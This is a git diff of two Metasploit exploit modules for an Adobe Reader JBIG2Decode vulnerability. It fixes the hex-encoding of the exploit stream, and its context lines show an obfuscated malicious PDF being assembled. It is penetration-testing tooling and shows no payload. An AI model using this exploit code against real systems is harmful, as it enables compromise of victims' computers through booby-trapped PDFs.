diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb
index ad81b8336f..65c8d5467f 100644
--- a/modules/exploits/windows/browser/adobe_jbig2decode.rb
+++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb
@@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
 
 		xref << pdf.length
-		compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
+		compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
 		pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
 		pdf << "stream" << eol
 		pdf << compressed << eol
diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
index df5d06a3f3..f85d9751ba 100644
--- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
+++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
@@ -207,7 +207,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
 
 		xref << pdf.length
-		compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
+		compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
 		pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
 		pdf << "stream" << eol
 		pdf << compressed << eol